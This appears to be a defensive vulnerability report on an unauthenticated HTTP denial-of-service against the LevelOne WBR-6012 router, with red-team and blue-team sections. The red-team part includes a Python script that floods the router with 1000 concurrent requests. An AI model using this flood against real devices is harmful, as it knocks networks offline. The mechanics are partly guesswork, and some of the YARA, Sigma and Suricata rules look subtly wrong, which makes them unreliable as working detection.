CVE-2024-31152

Executive Summary

CVE-2024-31152 is a denial-of-service (DoS) vulnerability affecting the LevelOne WBR-6012 router running firmware version R0.40e6. The flaw resides in the web application component, where improper resource allocation allows an unauthenticated attacker to cause a device reboot by sending a series of crafted HTTP requests. This leads to temporary network service interruptions, impacting availability. No public proof-of-concept (PoC) code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to the router.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – device reboot causes temporary service loss.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to availability (reboot). No data breach or code execution is possible.

Deep Dive & Mechanics

The LevelOne WBR-6012 router’s web server fails to properly manage memory or connection resources when handling HTTP requests. By sending a series of specially crafted HTTP requests (e.g., with malformed headers, excessive length, or rapid connection attempts), the web application exhausts available resources (memory, file descriptors, or process slots). This triggers a watchdog or kernel panic, causing the device to reboot. The reboot cycle can be repeated, leading to persistent denial of service.

The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling). The web server likely does not enforce rate limiting or connection limits, allowing an attacker to flood it with requests until resources are depleted.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the web application binary (likely httpd or similar) within firmware R0.40e6. The issue is a lack of resource limits. A hypothetical patch would involve:

• Implementing connection rate limiting.
• Setting maximum concurrent connections.
• Adding input validation to reject malformed requests early.
• Using memory pools with limits.

Since no patch exists, no code diff can be provided.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service by rebooting the router.

Lab Setup:

• Target: LevelOne WBR-6012 with firmware R0.40e6 (default IP: 192.168.1.1).
• Attacker: Kali Linux machine on the same network.

Exploitation Steps:

1. Identify the target:

   nmap -p 80,443 192.168.1.1
   

2. Send a series of crafted HTTP requests using a script:

   import requests
   import threading
   
   target = "http://192.168.1.1"
   headers = {"Host": "192.168.1.1", "User-Agent": "Mozilla/5.0"}
   
   def send_request():
       try:
           requests.get(target, headers=headers, timeout=5)
       except:
           pass
   
   # Send 1000 concurrent requests
   threads = []
   for i in range(1000):
       t = threading.Thread(target=send_request)
       threads.append(t)
       t.start()
   
   for t in threads:
       t.join()
   

3. Monitor the router: The device will reboot within seconds to minutes. Ping the router to confirm downtime:

   ping 192.168.1.1
   

Expected Outcome: The router becomes unresponsive and reboots, causing network interruption.

Blue Team

Detection & Response:

• Monitor for unusual HTTP traffic: Look for high volumes of requests from a single IP to the router’s web interface.
• Implement network segmentation: Isolate IoT devices like routers from critical networks.
• Enable logging: Configure the router to log HTTP requests (if supported) and send logs to a SIEM.
• Use rate limiting: If possible, deploy a firewall or WAF in front of the router to limit connection rates.

Hunting Queries:

• Search for logs showing repeated HTTP 200 responses from the router followed by ICMP unreachable messages.
• Correlate with device reboot events (e.g., syslog messages like "system restart").

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of HTTP GET/POST requests to the router’s IP (e.g., >100 requests per second).
  • ICMP echo requests failing after a burst of HTTP traffic.
  • Router MAC address disappearing from ARP tables temporarily.

• System IOCs:

  • Router logs showing "Out of memory" or "Watchdog timeout" errors.
  • Unexpected reboot events (uptime reset to 0).

• File IOCs:

  • No file-based IOCs as this is a network-based DoS.

Detection Engineering

YARA Rule

rule CVE_2024_31152_DoS_HTTP_Flood {
    meta:
        description = "Detects HTTP flood attempts targeting LevelOne WBR-6012 router"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2024-31152"
    strings:
        $http_get = "GET / HTTP/1.1"
        $http_host = "Host: 192.168.1.1"
        $user_agent = "User-Agent: Mozilla/5.0"
    condition:
        #http_get > 100 and #http_host > 100 and #user_agent > 100
}

Sigma Rule

title: CVE-2024-31152 LevelOne WBR-6012 DoS Attempt
id: 8a3f2c1e-5b7d-4f9a-8c6e-2d1b3a4f5c6d
status: experimental
description: Detects high volume of HTTP requests to LevelOne WBR-6012 router
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-ip: "*"
        cs-method: "GET"
        cs-uri-stem: "/"
    condition: selection | count() by c-ip > 100
falsepositives:
    - Legitimate network scans
level: medium

Suricata Rule

alert http any any -> $HOME_NET 80 (msg:"CVE-2024-31152 LevelOne WBR-6012 DoS Attempt"; flow:to_server; content:"GET / HTTP/1.1"; http_method; content:"Host: 192.168.1.1"; http_header; threshold: type both, track by_src, count 100, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

• No patch available: Contact LevelOne support for firmware updates.
• Mitigation:
  • Disable remote management of the router if not needed.
  • Place the router behind a firewall with rate limiting.
  • Use a VPN to access the router’s web interface.
  • Monitor network traffic for anomalies.
  • Consider replacing the device with a more secure model.

Valters IT

This report is generated for educational and defensive purposes only. Unauthorized exploitation is illegal.